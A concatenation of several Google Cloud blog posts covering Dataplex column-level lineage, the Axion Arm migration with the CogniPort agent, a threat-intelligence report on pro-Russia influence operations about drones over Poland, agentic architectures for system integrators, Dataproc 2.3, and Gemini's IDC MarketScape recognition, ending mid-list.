Effective AI systems operate on a foundation of context and continuous trust. When you use Dataplex Universal Catalog, Google Cloud’s unified data governance platform, the metadata that describes your data is no longer static — it’s where your AI applications can go to know where to find data and what to trust.
But when you have complex data pipelines, it’s easy for your data’s journey to become obscured, making it difficult to trace information from its origin to its eventual impact. To solve this, we are extending Dataplex lineage capabilities from object-level to column-level, starting with support for BigQuery.
“To power our AI strategy, we need absolute trust in our data. Column-level lineage provides that. It’s the foundation for governing our data responsibly and confidently.” – Latheef Syed – AVP, Data & AI Governance Engineering at Verizon
While object-level lineage tracks the top-level connections between entire tables, column-level lineage charts the specific, granular path of a single data column as it moves and transforms. With that, we are now providing a dynamic and granular map to govern your data-to-AI ecosystem, so you can ground your agentic AI applications in context. Lineage is upgraded to Column-level at no extra cost.
Answering critical questions about your data
Data professionals often need precise answers about the complex relationships in their BigQuery datasets. Column-level lineage provides a graph of data flows that you can trace to find these answers quickly. Now you can:
Confirm that a column used in your AI models originates from an authoritative source
Understand how changes to one column affect other columns downstream before you make a modification
Trace the root cause of an issue with a column by examining its upstream transformations
Verify that sensitive data at the column level is used correctly throughout your organization
“Column-level lineage takes the trusted map of our data ecosystem to the next level. It’s the precision tool we need to fully understand the impact of a change, trace a problem to its source, and ensure compliance down to the most granular detail.” – Arvind Rajagopalan – AVP, Data / AI & Product Engineering at Verizon
Explore lineage visually
Dataplex now provides an interactive, visual representation of column-level lineage relationships. You can select a single column in a table to see a graph of all its upstream and downstream connections. As you navigate the graph at the asset level, you can drill down to the column level to verify which specific columns are affected by a process. You can also visualize the direct lineage paths between the columns of two different assets, giving you a focused view of their relationship.
Column-level tracing for AI models
Tables used for AI and ML model training often have data coming from different sources and taking different paths, and it’s important to have granular visibility into the data’s journey. For example, in complex AI/ML feature tables, a single table for model training may contain many columns. Column-level lineage can verify that the one column originates from a trusted, audited financial system, while another one comes from ephemeral web logs. Table-level lineage would obscure this critical distinction, treating all features with the same level of trust.
Powering context-aware AI agents
More companies are developing AI agents to automate tasks and answer complex questions about their data, and these agents require a deep understanding of the business and organizational context to be effective. The granular metadata provided by column-level lineage supplies this necessary context. For example, it can allow the agent to distinguish between similarly named metrics. Tracing each column’s path, including its frequency of usage, and freshness, it gives context to the agent on the importance of a column if affected by a change, or severity of impact when troubleshooting. By grounding AI agents in a rich, factual map of your data assets and their relationships, you can build more accurate and reliable agentic workflows.
Google Axion processors, our first custom Arm®-based CPUs, mark a major step in delivering both performance and energy efficiency for Google Cloud customers and our first-party services, providing up to 65% better price-performance and up to 60% more energy-efficient than comparable instances on Google Cloud.
We put Axion processors to the test: running Google production services. Now that our clusters contain both x86 and Axion Arm-based machines, Google’s production services are able to run tasks simultaneously on multiple instruction-set architectures (ISAs). Today, this means most binaries that compile for x86 now need to compile to both x86 and Arm at the same time — no small thing when you consider that the Google environment includes over 100,000 applications!
We recently published a preprint of a paper called “Instruction Set Migration at Warehouse Scale” about our migration process, in which we analyze 38,156 commits we made to Google’s giant monorepo, Google3. To make a long story short, the paper describes the combination of hard work, automation, and AI we used to get to where we are today. We currently serve Google services in production on Arm and x86 simultaneously including YouTube, Gmail, and BigQuery, and we have migrated more than 30,000 applications to Arm, with Arm hardware fully-subscribed and more servers deployed each month.
Let’s take a brief look at two steps on our journey to make Google multi-architecture, or ‘multiarch’: an analysis of migration patterns, and exploring the use of AI in porting the code. For more, be sure to read the entire paper.
Migrating all of Google’s services to multiarch
Going into a migration from x86-only to Arm and x86, both the multiarch team and the application owners assumed that we would be spending time on architectural differences such as floating point drift, concurrency, intrinsics such as platform-specific operators, and performance.
At first, we migrated some of our top jobs like F1, Spanner, and Bigtable using typical software practices, complete with weekly meetings and dedicated engineers. In this early period, we found evidence of the above issues, but not nearly as many as we expected. It turns out modern compilers and tools like sanitizers have shaken out most of the surprises. Instead, we spent the majority of our time working on issues like:
fixing tests that broke because they overfit to our existing x86 servers
updating intricate build and release systems, usually for our oldest and highest-traffic services
resolving rollout issues in production configurations
taking care to avoid destabilizing critical systems
Moving a dozen applications to Arm this way absolutely worked, and we were proud to get things running on Borg, our cluster management system. As one engineer remarked, “Everyone fixated on the totally different toolchain, and [assumed] surely everything would break. The majority of the difficulty was configs and boring stuff.”
And yet, it’s not sufficient to migrate a few big jobs and be done. Although ~60% of our running compute is in our top 50 applications, the curve of usage across the remaining applications in Google’s monorepo is relatively flat. The more jobs that can run on multiple architectures, the easier it is for Borg to fit them efficiently into cells. For good utilization of our Arm servers, then, we needed to address this long list of the remaining 100,000+ applications.
The multiarch team could not effectively reach out to so many application owners; just setting up the meetings would have been cost-prohibitive! Instead, we have relied on automation, helping to minimize involvement from the application teams themselves.
Automation tools We had many sources of automation to help us, some of which we already used widely at Google before we started the multiarch migration. These include:
Rosie, which lets us programmatically generate large numbers of commits and shepherd them through the code review process. For example, the commit could be one line to enable Arm in a job’s Blueprint: “arm_variant_mode = ::blueprint::VariantMode::VARIANT_MODE_RELEASE“
Sanitizers and fuzzers, which catch common differences in execution between x86 and Arm (e.g., data races that are hidden by x86’s TSO memory model). Catching these kinds of issues ahead of time avoids non-deterministic, hard-to-debug behavior when recompiling to a new ISA.
Continuous Health Monitoring Platform (CHAMP), which is a new automated framework for rolling out and monitoring multiarch jobs. It automatically evicts jobs that cause issues on Arm, such as crash-looping or exhibiting very slow throughput, for later offline tuning and debugging.
We also began using an AI-based migration tool called CogniPort — more on that below.
Analysis The 38,156 commits to our code monorepo constituted most of the commits across the entire ISA migration project, from huge jobs like Bigtable to myriad tiny ones. To analyze these commits, we passed the commit messages and code diffs into Gemini Flash LLM’s 1M token context window in groups of 100, generating 16 categories of commits in four overarching groups.
Figure 1: Commits fall into four overarching groups.
Once we had a final list, we ran commits again through the model and had it assign one of these 16 categories to each of them (as well as an additional “Uncategorized” category, which improved stability of the categorization by catching outliers).
Figure 2: Code examples in the first two categories. More examples are available in the paper.
Altogether, this analysis covered about 700K changed lines of code. We plotted the timeline of our ISA migration, normalized, as lines of code per day or month changed over time.
Figure 3: CLs by category by time, normalized.
As you can see, as we started our multiarch toolchain, the largest set of commits were in tooling and test adaptation. Over time, a larger fraction of commits were around code adaptation, aligned with the first few large applications that we migrated. During this phase, the focus was on updating code in shared dependencies and addressing common issues in code and tests as we prepared for scale. In the final phase of the process, almost all commits were configuration files and supporting processes. We also saw that, in this later phase, the number of merged commits rapidly increased, capturing the scale-up of the migration to the whole repository.
Figure 4: CLs by category by time, in raw counts.
It’s worth noting that, overall, most commits related to migration are small. The largest commits are often to very large lists or configurations, as opposed to signaling more inherent complexity or intricate changes to single files.
Automating ISA migrations with AI
Modern generative AI techniques represent an opportunity to automate the remainder of the ISA migration process. We built an agent called CogniPort which aims to close this gap. CogniPort operates on build and test errors. If at any point in the process, an Arm library, binary, or test does not build or a test fails with an error, the agent steps in and aims to fix the problem automatically. As a first step, we have already used CogniPort’s Blueprint editing mode to generate migration commits that do not lend themselves to simple changes.
The agent consists of three nested agentic loops, shown below. Each loop executes an LLM to produce one step of reasoning and a tool invocation. The tool is executed and the outputs are attached to the agent’s context.
Figure 5: CogniPort
The outermost agent loop is an orchestrator that repeatedly calls the two other agents, the build-fixer agent and the test-fixer agent. The build-fixer agent tries to build a particular target and makes modifications to files until the target builds successfully or the agent gives up. The test-fixer agent tries to run a particular test and makes modifications until the test succeeds or the agent gives up (and in the process, it may use the build-fixer agent to address build failures in the test).
Testing CogniPort
While we only recently scaled up CogniPort usage to high levels, we had the opportunity to more formally test its behavior by taking historic commits from the dataset above that were created without AI assistance. Focusing on Code & Test Adaptation (categories 1-8) commits that we could cleanly roll back (not all of the other categories were suitable for this approach), we generated a benchmark set of 245 commits. We then rolled the commits back and evaluated whether the agent was able to fix them.
Figure 6: CogniPort results
Despite no special prompts or other optimizations, early tests were very encouraging, successfully fixing failed tests 30% of the time. CogniPort was particularly effective for test fixes, platform-specific conditionals, and data representation fixes. We’re confident that as we invest in further optimizations of this approach, we will be even more successful.
A multiarch future
From here, we still have tens of thousands more applications to address with automation. To cover future code growth, all new applications are designed to be multiarch by default. We will continue to use CogniPort to fix tests and configurations, and we will also work with application owners on trickier changes. (One lesson of this project is how well owners tend to know their code!)
Yet, we’re increasingly confident in our goal of driving Google’s monorepo towards architecture neutrality for production services, for a variety of reasons:
All of the code used for production services is visible in a vast monorepo (still).
Most of the structural changes we need to build, run, and debug multiarch applications are done.
Existing automation like Rosie and the recently developed CHAMP allows us to keep expanding release and rollout targets without much intervention on our part.
Last but not least, LLM-based automation will allow us to address much of the remaining long tail of applications for a multi-ISA Google fleet.
To read even more about what we learned, don’t miss the paper itself. And to learn about our chip designs and how we’re operating a more sustainable cloud, you can read about Axion at g.co/cloud/axion.
This blog post and the associated paper represents the work of a very large team. The paper authors are Eric Christopher, Kevin Crossan, Wolff Dobson, Chris Kennelly, Drew Lewis, Kun Lin, Martin Maas, Parthasarathy Ranganathan, Emma Rapati, and Brian Yang, in collaboration with dozens of other Googlers working on our Arm porting efforts.
Google Threat Intelligence Group (GTIG) observed multiple instances of pro-Russia information operations (IO) actors promoting narratives related to the reported incursion of Russian drones into Polish airspace that occurred on Sept. 9-10, 2025. The identified IO activity, which mobilized in response to this event and the ensuing political and security developments, appeared consistent with previously observed instances of pro-Russia IO targeting Poland—and more broadly the NATO Alliance and the West. Information provided in this report was derived from GTIG’s tracking of IO beyond Google surfaces. Google is committed to information transparency, and we will continue tracking these threats and blocking their inauthentic content on Google’s platforms. We regularly disclose our latest enforcement actions in the TAG Bulletin.
Observed messaging surrounding the Russian drone incursion into Polish airspace advanced multiple, often intersecting, influence objectives aligned with historic pro-Russia IO threat activity:
Promoting a Positive Russian Image: Concerted efforts to amplify messaging denying Russia’s culpability for the incursion.
Blaming NATO and the West: The reframing of the events to serve Russian strategic interests, effectively accusing either Poland or NATO of manufacturing pretext to serve their own political agendas.
Undermining Domestic Confidence in Polish Government: Messaging designed to negatively influence Polish domestic support for its own government, by insinuating that its actions related to both the event itself and the broader conflict in Ukraine are detrimental to Poland’s domestic stability.
Undermining International Support to Ukraine: Messaging designed to undercut Polish domestic support for its government’s foreign policy position towards Ukraine.
Notably, Russia-aligned influence activities have long prioritized Poland, frequently leveraging a combination of Poland-focused operations targeting the country domestically, as well as operations that have promoted Poland-related narratives more broadly to global audiences. However, the mobilization of covert assets within Russia’s propaganda and disinformation ecosystem in response to this most recent event is demonstrative of how established pro-Russia influence infrastructure—including both long-standing influence campaigns and those which more recently emerged in response to Russia’s full-scale invasion of Ukraine in 2022—can be flexibly leveraged by operators to rapidly respond to high-profile, emerging geopolitical stressors.
Examples highlighted in this report are designed to provide a representative snapshot of pro-Russia influence activities surrounding the Russian drone incursion into Polish airspace; it is not intended to be a comprehensive account of all pro-Russia activity which may have leveraged these events.
Multiple IO actors that GTIG tracks rapidly promoted related narratives in the period immediately following the drone incursion. While this by itself is not evidence of coordination across these groups, it does highlight how influence actors throughout the pro-Russia ecosystem have honed their activity to be responsive to major geopolitical developments. This blog post contains examples that we initially observed as part of this activity.
Portal Kombat
The actor publicly referred to as Portal Kombat (aka the “Pravda Network”) has been publicly reported on since at least 2024 as operating a network of domains that act as amplifiers of content seeded within the broader pro-Russia ecosystem, primarily focused on Russia’s invasion of Ukraine. These domains share near identical characteristics while each targeting different geographic regions. As has likewise been documented in public reporting, over time Portal Kombat has developed new infrastructure to expand its targeting of the West and other countries around the world via subdomains stemming from a single actor-controlled domain. Some examples of Portal Kombat’s promoted narratives related to the incursion of Russian drones into Polish airspace include the following:
One article, ostensibly reporting on the crash of one of the drones, called into question whether the drones could have come from Russia, noting that the type of drones purportedly involved are not capable of reaching Poland.
Another article claimed that officials from Poland and the Baltic States politicized the issue, intentionally reframing it as a threat to NATO as a means to derail possible Russia-U.S. negotiations regarding the conflict in Ukraine out of a fear that the U.S. would deprioritize the region to focus on China. The article further claimed that videos of the drones shown in the Polish media are fake, and that the Russian military does not have a real intention of attacking Poland.
A separate article promoted a purported statement made by a Ukrainian military expert, claiming that the result of the drone incursion was that Europe will focus its spending on defense at home, rather than on support for Ukraine—the purported statement speculated as to whether this was the intention of the incursion itself.
Figure 1: Example of an English-language article published by the Portal Kombat domain network, which promoted a narrative alleging that Polish and Baltic State officials were using news of the Russian drone incursion to derail U.S.-Russia negotiations related to the war in Ukraine
Doppelganger
The “Doppelganger” pro-Russia IO actor has created a network of inauthentic custom media brands that it leverages to target Europe, the U.S., and elsewhere. These websites often have a specific topical and regional focus and publish content in the language of the target audience. GTIG identified at least two instances in which Polish-language and German-language inauthentic custom media brands that we track disseminated content that leveraged the drone incident (Figure 2).
A Polish-language article published to the domain of the Doppelganger custom media brand “Polski Kompas” promoted a narrative that leveraged the drone incursions as a means to claim that the Polish people do not support the government’s Ukraine policy. The article claimed that such support not only places a burden on Poland’s budget, but also risks the security and safety of the Polish people.
A German-language article published to the domain of the Doppelganger custom media brand “Deutsche Intelligenz” claimed that the European reaction to the drone incident was hyperinflated by officials as part of an effort to intimidate Europeans into entering conflict with Russia. The article claimed that Russia provided warning about the drones, underscoring that they were not threatening, and that NATO used this as pretext to increase its regional presence—steps that the article claimed pose a risk to Russia’s security and could lead to war.
Figure 2: Examples of articles published to the domains of two Doppelganger inauthentic media brands: Polski Kompas (left) and Deutsche Intelligenz (right)
Niezależny Dziennik Polityczny (NDP)
The online publication “Niezależny Dziennik Polityczny” is a self-proclaimed “independent political journal” focused on Polish domestic politics and foreign policy and is the primary dissemination vector leveraged by the eponymously named long-standing, pro-Russia influence campaign, which GTIG refers to as “NDP”. The publication has historically leveraged a number of suspected inauthentic personas as editors or contributing authors, most of whom have previously maintained accounts across multiple Western social media platforms and Polish-language blogging sites. NDP has been characterized by multiple sources as a prolific purveyor of primarily anti-NATO disinformation and has recently been a significant amplifier within the Polish information space of pro-Russia disinformation surrounding Russia’s ongoing invasion of Ukraine.
Examples of NDP promoted narratives related to the incursion of Russian drones into Polish airspace:
GTIG observed an article published under the name of a previously attributed NDP persona, which referenced the recent Polish response to the Russian drone incursion as a component of ongoing “war hysteria” artificially constructed to distract the Polish people from domestic issues. The article further framed other NATO activity in the region as disproportionate and potentially destabilizing (Figure 3).
Additionally, GTIG observed content promoted by NDP branded social media assets that referenced the drone incursion in the days following these events. This included posts that alleged that Poland had been pre-warned about the drones, that Polish leadership was cynically and disproportionately responding to the incident, and that a majority of Poles blame Ukraine, NATO, or the Polish Government for the incident.
Figure 3: Examples of narratives related to the Russian drone incursion into Polish airspace promoted by the NDP campaign’s “political journal” (left) and branded social media asset (right)
Outlook
Covert information operations and the spread of disinformation are increasingly key components of Russian state-aligned actors’ efforts to advance their interests in the context of conflict. Enabled by an established online ecosystem, these actors seek to manipulate audiences to achieve ends like the exaggeration of kinetic military action’s efficacy and the incitement of fear, uncertainty, and doubt within vulnerable populations. The use of covert influence tactics in these instances is manifold: at minimum, it undermines society’s ability to establish a fact-based understanding of potential threats in real-time by diluting the information environment with noise; in tandem, it is also used to both shape realities on the ground and project messaging strategically aligned with one’s interests—both domestically and to international audiences abroad.
While the aforementioned observations highlight tactics leveraged by specifically Russia-aligned threat actors within the context of recent Russian drone incursions into Polish airspace, these observations are largely consistent with historical expectations of various ideologically-aligned threat actors tracked by GTIG and their respective efforts to saturate target information environments during wartime. Understanding both how and why malicious threat actors exploit high-profile, and often emerging, geopolitical stressors to further their political objectives is critical in identifying both how the threats themselves manifest and how to mitigate their potential impact. Separately, we note that the recent mobilization of covert assets within Russia’s propaganda and disinformation ecosystem in response to Russia’s drone incursion into Polish airspace is yet another data point suggesting Poland—and NATO allied countries, more broadly—will remain a high priority target of Russia-aligned influence activities.
AI Agents are now a reality, moving beyond chatbots to understand intent, collaborate, and execute complex workflows. This leads to increased efficiency, lower costs, and improved customer and employee experiences. This is a key opportunity for System Integrator (SI) Partners to deliver Google Cloud’s advanced AI to more customers. This post details how to build, scale, and manage enterprise-grade agentic systems using Google Cloud AI products to enable SI Partners to offer these transformative solutions to enterprise clients.
Enterprise challenges
The limitations of traditional, rule-based automation are becoming increasingly apparent in the face of today’s complex business challenges. Its inherent rigidity often leads to protracted approval processes, outdated risk models, and a critical lack of agility, thereby impeding the ability to seize new opportunities and respond effectively to operational demands.
Modern enterprises are further compounded by fragmented IT landscapes, characterized by legacy systems and siloed data, which collectively hinder seamless integration and scalable growth. Furthermore, static systems are ill-equipped to adapt instantaneously to market volatility or unforeseen “black swan” events. They also fall short in delivering the personalization and operational optimization required to manage escalating complexity—such as in cybersecurity and resource allocation—at scale. In this dynamic environment, AI agents offer the necessary paradigm shift to overcome these persistent limitations.
How SI Partners are solving business challenges with AI agents
Let’s discuss how SIs are working with Google Cloud to solve some of the discussed business challenges;
Deloitte: A major retail client sought to enhance inventory accuracy and streamline reconciliation across its diverse store locations. The client needed various users—Merchants, Supply Chain, Marketing, and Inventory Controls—to interact with inventory data through natural language prompts. This interaction would enable them to check inventory levels, detect anomalies, research reconciliation data, and execute automated actions.
Deloitte leveraged Google Cloud AI Agents and Gemini Enterprise to create a solution that generates insights, identifies discrepancies, and offers actionable recommendations based on inventory data. This solution utilizes Agentic AI to integrate disparate data sources and deliver real-time recommendations, ultimately aiming to foster trust and confidence in the underlying inventory data.
Quantiphi: To improve customer experience and optimize sales operations, a furniture manufacturer partnered with Quantiphi to deploy Generative AI. to create a dynamic intelligent assistant on Google Cloud. The multi-agent system automates the process of quotation response creation thereby accelerating and speeding the process. At its core is an orchestrator, built with Agent Development Kit (ADK) and an Agent to Agent (A2A) framework that seamlessly coordinates between agents to summarize the right response – whether you’re researching market trends, asking about product details, or analyzing sales data. Leveraging the cutting-edge capabilities of Google Cloud’s Gemini models and BigQuery, the assistant delivers unparalleled insights, transforming how one can access data and make decisions.
These examples represent just a fraction of the numerous use cases spanning diverse industry verticals, including healthcare, manufacturing, and financial services, that are being deployed in the field by SIs working in close collaboration with Google Cloud.
Architecture and design patterns used by SIs
The strong partnership between Google Cloud and SIs is instrumental in delivering true business value to customers. Let’s examine the scalable architecture patterns employed by Google Cloud SIs in the field to tackle Agentic AI challenges.
To comprehend Agentic AI architectures, it’s crucial to first understand what an AI agent is. An AI agent is a software entity endowed with the capacity to plan, reason, and execute complex actions for users with minimal human intervention. AI agents leverage advanced AI models for reasoning and informed decision-making, while utilizing tools to fetch data from external sources for real-time and grounded information. Agents typically operate within a compute runtime. The visual diagram illustrates the basic components of an agent;
Base AI Agent Components
The snippet below also demonstrates how an Agent’s code appears in the Python programming language;
Code snippet of an AI Agent
This agent code snippet showcases the components depicted in the first diagram, where we observe the Agent with a Name, Large Language Model (LLM), Description, Instruction and Tools, all of which are utilized to enable the agent to perform its designated functions.
To build enterprise-grade agents at scale, several factors must be considered during their ground-up development. Google Cloud has collaborated closely with its Partner ecosystem to employ cutting-edge Google Cloud products to build scalable and enterprise-ready agents.
A key consideration in agent development is the framework. Without it, developers would be compelled to build everything from scratch, including state management, tool handling, and workflow orchestration. This often results in systems that are complex, difficult to debug, insecure, and ultimately unscalable. Google Cloud Agent Development Kit (ADK) provides essential scaffolding, tools, and patterns for efficient and secure enterprise agent development at scale. It offers developers the flexibility to customize agents to suit nearly every applicable use case.
Agent development with any framework, especially multi-agent architectures in enterprises, necessitates robust compute resources and scalable infrastructure. This includes strong security measures, comprehensive tracing, logging, and monitoring capabilities, as well as rigorous evaluation of the agent’s decisions and output.
Furthermore, agents typically lack inherent memory, meaning they cannot recall past interactions or maintain context for effective operation. While frameworks like ADK offer ephemeral memory storage for agents, enterprise-grade agents demand persistent memory. This persistent memory is vital for equipping agents with the necessary context to enhance their performance and the quality of their output.
Google Cloud’s Vertex AI Agent Engine provides a secure runtime for agents that manages their lifecycle, orchestrates tools, and drives reasoning. It features built-in security, observability, and critical building blocks such as a memory bank, session service, and sandbox. Agent Engine is accessible to SIs and customers on Google Cloud. Alternative options for running agents at scale includeCloud Run orGKE.
Customers often opt for these alternatives when they already have existing investments in Cloud Run or GKE infrastructure on Google Cloud, or when they require configuration flexibility concerning compute, storage, and networking, as well as flexible cost management. However, when choosing Cloud Run or GKE, functions like memory and session management must be built and managed from the ground up.
Model Context Protocol (MCP) is a crucial element for modern AI agent architectures. This open protocol standardizes how applications provide context to LLMs, thereby improving agent responses by connecting agents and underlying AI models to various data sources and tools. It’s important to note that Agents also communicate with enterprise systems using APIs, which are referred to as Tools when employed with agents. MCP enables agents to access fresh external data.
When developing enterprise agents at scale, it is recommended to deploy the MCP servers separately on a serverless platform like Cloud Run or GKE on Google Cloud, with agents running on Agent Engine configured as clients. The sample architecture illustrates the recommended deployment model for MCP integration with ADK agents;
AI agent tool integration with MCP
The reference architecture demonstrates howADK built agents can integrate with MCP to connect data sources and provide context to underlying LLM models. The MCP utilizes Get, Invoke, List, and Call functions to enable tools to connect agents to external data sources. In this scenario, the agent can interact with a Graph database through application APIs using MCP, allowing the agent and the underlying LLM to access up-to-date data for generating meaningful responses.
Furthermore, when building multi-agent architectures that demand interoperability and communication among agents from different systems, a key consideration is how to facilitate Agent-to-Agent communication. This addresses complex use cases that require workflow execution across various agents from different domains.
Google Cloud launched theAgent-to-Agent Protocol (A2A) with native support within Agent Engine to tackle the challenge of inter-agent communication at scale. Learn how to implement A2A from this blog.
Google Cloud has collaborated with SIs on agentic architecture and design considerations to build multiple agents, assisting clients in addressing various use cases across industry domains such as Retail, Manufacturing, Healthcare, Automotive, and Financial Services. The reference architecture below consolidates these considerations.
Reference architecture – Agentic AI system with ADK, MCP, A2A and Agent Engine
This reference architecture depicts an enterprise-grade Agent built on Google Cloud to address a supply chain use case. In this architecture, all agents are built with the ADK framework and deployed on Agent Engine. Agent Engine provides a secure compute runtime with authentication, context management using managedsessions,memory, and quality assurance throughExample Store andEvaluation Services, while also offering observability into the deployed agents. Agent Engine delivers all these features and many more as a managed service at scale on GCP.
This architecture outlines an Agentic supply chain featuring an orchestration agent (Root) and three dedicated sub-agents: Tracking, Distributor, and Order Agents. Each of these agents are powered by Gemini. For optimal performance and tailored responses, especially in specific use cases, we recommend tuning your model with domain-specific data before integration with an agent. Model tuning can also help optimize responses for conciseness, potentially leading to reduced token size and lower operational costs.
For instance, a user might send a request such as “show me the inventory levels for men’s backpack.” The Root agent receives this request and is capable of routing it to the Order agent, which is responsible for inventory and order operations. This routing is seamless because the A2A protocol utilizesagent cards to advertise the capabilities of each respective agent. A2A isconfigured with a few steps as a wrapper for your agents for Agent Engine deployment.
In this example, inventory and order details are stored inBigQuery. Therefore, the agent uses its tool configuration to leverage the MCP server to fetch the inventory details from the BigQuery data warehouse. The response is then returned to the underlying LLM, which generates a formatted natural language response and provides the inventory details for men’s backpacks to the Root agent and subsequently to the user. Based on this response, the user can, for example, place an order to replenish the inventory.
When such a request is made, the Root agent routes it to the Distributor agent. This agent possesses knowledge of all suppliers who provide stock to the business. Depending on the item being requested, the agent will use its tools to initiate an MCP server connection to the correct external API endpoints for the respective supplier to place the order. If the suppliers have agents configured, the A2A protocol can also be utilized to send the request to the supplier’s agent for processing. Any acknowledgment of the order is then sent back to the Distributor agent.
In this reference architecture, when the Distributor agent receives acknowledgment, A2A enables the agent to detect the presence of a Tracking agent that monitors new orders until delivery. The Distributor agent will pass the order details to the Tracking agent and also send updates back to the user. The Tracking agent will then send order updates to the user via messaging, utilizing the public API endpoint of the supplier. This is merely one example of a workflow that could be built with this reference architecture.
This modular architecture can be adapted to solve various use cases with Agentic AI built with ADK and deployed to Agent Engine.
The reference architecture allows this multi-agent system to be consumed via a chat interface through a website or a custom-built user interface. It is also possible to integrate this agentic AI architecture with Google Cloud Gemini Enterprise.
Learn how enterprises can start by using Gemini Enterprise as the front door to Google Cloud AI from this blog from Alphabet CEO Sundar Pichai. This approach helps enterprises to start small using low code out of the box agents. As they mature, they can now implement complex use cases with advanced high code AI agents using this reference archiecture .
Getting started
This blog post has explored the design patterns for building intelligent enterprise AI agents. For enterprise decision makers, use the 5 essential elements to start implementing agentic solutions to help guide your visionary strategy and decision making when it comes to running enterprise agents at scale.
We encourage you to embark on this journey today by collaborating with Google Cloud Partner Ecosystem to understand your enterprise landscape and identify complex use cases that can be effectively addressed with AI Agents. Utilize these design patterns as your guide and leverage the ADK to transform your enterprise use case into a powerful, scalable solution that delivers tangible business value on Agent Engine with Google Cloud.
Google Cloud Dataproc is a managed service for Apache Spark and Hadoop, providing a fast, easy-to-use, and cost-effective platform for big data analytics. In June, we announced the general availability (GA) of the Dataproc 2.3 image on Google Compute Engine, whose lightweight design offers enhanced security and operational efficiency.
“With Dataproc 2.3, we have a cutting edge, high performance and trusted platform that empowers our machine learning scientists and analysts to innovate at scale.” – Sela Samin, Machine Learning Manager, Booking.com
The Dataproc 2.3 image represents a deliberate shift towards a more streamlined and secure environment for your big data workloads. Today, let’s take a look at what makes this lightweight approach so impactful:
1. Reduced attack surface and enhanced security
Dataproc on Google Compute Engine 2.3 is a FedRamp High compliant image designed for superior security and efficiency.
At its core, we designed Dataproc 2.3 to be lightweight, meaning it contains only the essential core components required for Spark and Hadoop operations. This minimalist approach drastically reduces the exposure to Common Vulnerabilities and Exposures (CVEs). For organizations with strict security and compliance requirements, this is a game-changer, providing a robust and hardened environment for sensitive data.
We maintain a robust security posture through a dual-pronged approach to CVE (Common Vulnerabilities and Exposures) remediation, so that our images consistently meet compliance standards. This involves a combination of automated processes and targeted manual intervention:
Automated remediation: We use a continuous scanning system to automatically build and patch our images with fixes for known vulnerabilities, enabling us to handle issues efficiently at scale.
Manual intervention: For complex issues where automation could cause breaking changes or has intricate dependencies, our engineers perform deep analysis and apply targeted fixes to guarantee stability and security.
2. On-demand flexibility for optional components
While the 2.3 image is lightweight, it doesn’t sacrifice functionality. Instead of pre-packaging every possible component, Dataproc 2.3 adopts an on-demand model for optional components. If your workload requires specific tools like Apache Flink, Hive WebHCat, Hudi, Pig, Docker, Ranger, Solr, Zeppelin, you can simply deploy them when creating your cluster. This helps keep your clusters lean by default, but still offers the full breadth of Dataproc’s capabilities when you need it.
3. Faster cluster creation (with custom images)
When you deploy optional components on-demand, they are downloaded and installed while the cluster is being created, which may increase the startup time a bit. However, Dataproc 2.3 offers a powerful solution to this: custom images. You can now create custom Dataproc images with your required optional components pre-installed. This allows you to combine the security benefits of the lightweight base image with the speed and convenience of pre-configured environments, drastically reducing cluster provisioning and setup time for your specific use cases.
Getting started with Dataproc 2.3
Using the new lightweight Dataproc 2.3 image is straightforward. When creating your Dataproc clusters, simply specify 2.3 (or a specific sub-minor version like 2.3.10-debian12, 2.3.10-ubuntu22, or 2.3.10-rocky9).
The Dataproc 2.3 image sets a new standard for big data processing on Google Cloud by prioritizing a lightweight, secure and efficient foundation. By minimizing the included components by default and offering flexible on-demand installation or custom image creation, Dataproc 2.3 can help you achieve higher security compliance and optimized cluster performance.
Start leveraging the enhanced security and operational efficiency of Dataproc 2.3 today and experience a new level of confidence in your big data initiatives!
Unlocking real value with AI in the enterprise calls for more than just intelligence. It requires a seamless, end-to-end platform where your model and operational controls are fully integrated. This is the core of our strategy at Google Cloud: combining the most powerful models with the scale and security required for production.
Today, we are excited to announce that Google has been recognized as a Leader for our Gemini model family in the 2025 IDC MarketScape for Worldwide GenAI Life-Cycle Foundation Model Software (doc # US53007225, October 2025) report.
We believe the result validates our multi-year commitment to building the most capable, multimodal AI and delivering it to the enterprise through the Vertex AI platform. It is this combined approach that leads organizations, from innovative startups to the most demanding enterprises, to choose Google Cloud for their critical generative AI deployments.
Source: “IDC MarketScape: Worldwide GenAI Life-Cycle Foundation Model Software 2025 Vendor Assessment,” Doc. #US53007225
Gemini 2.5: adaptive thinking and cost control
For companies moving AI workloads into production, the focus quickly shifts from raw intelligence to optimization, speed, and cost control. That’s why in August, we announced General Availability (GA) of the Gemini 2.5 model family, dramatically increasing both intelligence and enterprise readiness. Our pace of innovation hasn’t slowed; we quickly followed up in September with an improved Gemini 2.5 Flash and Flash-Lite release.
Gemini 2.5 models are thinking models, meaning they can perform complex, internal reasoning to solve multi-step problems with better accuracy. This advanced capability addresses the need for depth of reasoning while still offering tools to manage compute costs:
Thinking budgets:We introduced thinking budgets for models like Gemini 2.5 Flash and Gemini 2.5 Flash-Lite. Developers can now set a maximum computational effort, allowing for fine-grained control over cost and latency. You get the full power of a thinking model when the task demands it, and maximum speed for high-volume, low-latency tasks.
Thought summaries: Developers also gain transparency with thought summaries in the API and Vertex AI, providing a clear, structured view of the model’s reasoning process. This is essential for auditability.
Model choice and flexibility
By providing an open ecosystem of multimodal models, enterprises can choose to deploy the best model for any task, and the right modality for any use case.
Vertex AI Model Garden ensures you always have access to the latest intelligence. This includes our first-party models, leading open source options, and powerful third-party models like Anthropic’s Claude Sonnet 4.5, which we made available upon its release. This empowers you to pick the right tool for every use case.
Native multimodality: Gemini’s core strength is its native multimodal capability, or the ability to understand and combine information across text, code, images, and audio.
Creative control with Nano Banana: Nano Banana (Gemini 2.5 Flash Image) provides creators and developers sharp control for visual tasks, enabling conversational editing and maintaining character and product consistency across multiple generations.
Building AI agents: Code, speed, and the CLI
To accelerate the transition to AI agents that can execute complex tasks, we prioritized investment in coding performance and tooling for developers:
Coding performance leap: Gemini 2.5 Pro now excels at complex code generation and problem-solving, offering developers a dramatically improved resource for high-quality software development.
Agentic developer tools: The launch of the Gemini Command Line Interface (CLI) brings powerful, agentic problem-solving directly to the terminal. This provides developers with the kind of immediate, interactive coding assistance necessary to close gaps and accelerate development velocity.
Unlocking value with Vertex AI
In addition to powerful models, organizations need a managed, governed platform to move AI projects from pilot to production and achieve real business value. That’s why Vertex AI is the critical component for enterprise AI workloads.
Vertex AI provides the secure, end-to-end environment that transforms Gemini’s intelligence into a scalable business solution. It is the single place for developers to manage the full AI lifecycle, allowing companies to stop managing infrastructure and start building innovative agentic AI applications.
We focus on three core pillars:
